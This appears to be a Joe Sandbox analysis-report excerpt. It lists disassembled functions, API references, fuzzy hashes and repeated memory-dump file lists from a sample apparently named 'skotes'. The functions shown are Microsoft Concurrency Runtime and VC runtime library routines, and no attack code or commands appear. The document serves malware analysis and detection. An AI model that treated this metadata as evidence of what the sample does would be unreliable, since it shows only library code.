Opcode ID: 58b43aa2888fa7a00bd858a0190cdfdd0ab87bec35cc8851b6574215e33a021f
Instruction ID: 03f73693826cee3d0273af3e80de663fc09c4d2cdb27480be2db3847226021a4
Opcode Fuzzy Hash: 58b43aa2888fa7a00bd858a0190cdfdd0ab87bec35cc8851b6574215e33a021f
Instruction Fuzzy Hash: A1817E39D002189BCF54DEA5C981FAEB7B6AF05314F28446EE401A7382DB3DAD49CB59

Function 004E26D1 Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 004E26E3

Part of subcall function 004E24E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 004E2504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 004E2704
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 004E2711
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 004E275F
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 004E27E6
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 004E27F9
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 004E2846

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: 4ad87e5a1f7a60d6c2fc9c2262084bf9af603a692d412cde5489f94a9bf424f6
Instruction ID: 0657489cef3c8c0efd7dc208fdc9e13319eab5d0e956ac8c08fa5e77e9b6a028
Opcode Fuzzy Hash: 4ad87e5a1f7a60d6c2fc9c2262084bf9af603a692d412cde5489f94a9bf424f6
Instruction Fuzzy Hash: CC81C370900289ABDF169F56CA51BFF7B7AAF05309F04009AEC4127392C7BA8D15DB66

Function 004E2970 Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 004E2982

Part of subcall function 004E24E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 004E2504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 004E29A3
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 004E29B0
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 004E29FE
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 004E2AA6
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 004E2AD8

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: 6ff832367fc6f470c1a31ea2c889d16469d9911c92f452572fadd485319f0c27
Instruction ID: e7377a3662455aa430cf78f2c98a88f899e6d111060176041b5bfae1e410fff0
Opcode Fuzzy Hash: 6ff832367fc6f470c1a31ea2c889d16469d9911c92f452572fadd485319f0c27
Instruction Fuzzy Hash: 6F71F070900289AFDF15CF56CA80BBF7BB9AF45305F04409AEC416B352C7B99C16DB65

Function 004D2832 Relevance: 15.2, APIs: 10, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 004D2876
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 004D28DF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 004D2913

Part of subcall function 004D07ED: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 004D080D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 004D2993
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 004D29DB

Part of subcall function 004D07C2: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 004D07DE

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 004D29EF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 004D2A00
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 004D2A4D
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 004D2A7E

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$Affinity$Apply$Restrictions$InformationTopology$Restriction::$CleanupFindGroupLimits
String ID:
API String ID: 1321587334-0
Opcode ID: 42262bfd3b5a37f9462480dcfa826fab0b79650fac38edc291411e5828023a8a
Instruction ID: 751c8b8e2915478a1b41e518b678adef6b153db736fbc8a1fe24cbb1efa29c9e
Opcode Fuzzy Hash: 42262bfd3b5a37f9462480dcfa826fab0b79650fac38edc291411e5828023a8a
Instruction Fuzzy Hash: 7A812371A04516CBCB18CFA9DAB05AEB7F1FBA8304B54806FD442E3340E7786D45CB98

Function 004D69DA Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 004D6A1F
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 004D6A51
List.LIBCONCRT ref: 004D6A8C
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 004D6A9D
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 004D6AB9
List.LIBCONCRT ref: 004D6AF4
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 004D6B05
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 004D6B20
List.LIBCONCRT ref: 004D6B5B
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 004D6B68

Part of subcall function 004D5EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 004D5EF7
Part of subcall function 004D5EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 004D5F09

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439168491.00000000007BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439219995.00000000007BD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439265521.00000000007BE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439316037.00000000007C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439357016.00000000007C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439404976.00000000007D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439449003.00000000007D5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction ID: a96f0ed03c641a3bc561df108ef062efb10faa2b3f0a06de0399e67684754109
Opcode Fuzzy Hash: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction Fuzzy Hash: 3E515170A00219AFDF04DF95C5A5BEEB3A8BF08304F15406FE955AB341DB38AE45CB94

Function 004E52A5 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 004E53A0
type_info::operator==.LIBVCRUNTIME ref: 004E53C7
___TypeMatch.LIBVCRUNTIME ref: 004E54D3
IsInExceptionSpec.LIBVCRUNTIME ref: 004E55AE
CallUnexpected.LIBVCRUNTIME ref: 004E5650

Strings

csm, xrefs: 004E53FE
csm, xrefs: 004E52E0
csm, xrefs: 004E534D

Memory Dump Source

Source File: 0000000F.00000002.3423913153.00000000004B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004B0000, based on PE: true

Associated: 0000000F.00000002.3423739919.00000000004B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3423913153.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425026060.0000000000519000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3425539046.000000000051B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3428551697.0000000000527000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437029985.0000000000681000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437096817.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.000000000069D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437423655.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437561880.00000000006AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437623292.00000000006B3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437738067.00000000006C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437796123.00000000006C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437871543.00000000006DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3437954268.00000000006DC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438015451.00000000006E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438078501.00000000006ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438158484.000000000070A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438212524.000000000070D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438259693.000000000071C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438316105.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438364301.0000000000722000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438419608.0000000000726000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438473002.0000000000735000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438523218.0000000000738000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438574512.0000000000740000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438635277.0000000000744000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438697020.0000000000745000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438730318.0000000000748000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438792146.0000000000753000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438860659.0000000000754000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438896171.0000000000762000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.0000000000763000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3438952661.000000000078D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439073982.00000000007A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3439123288.00000000007A4000.00000040.00000001.01000000.00000007.sdmpDownload File
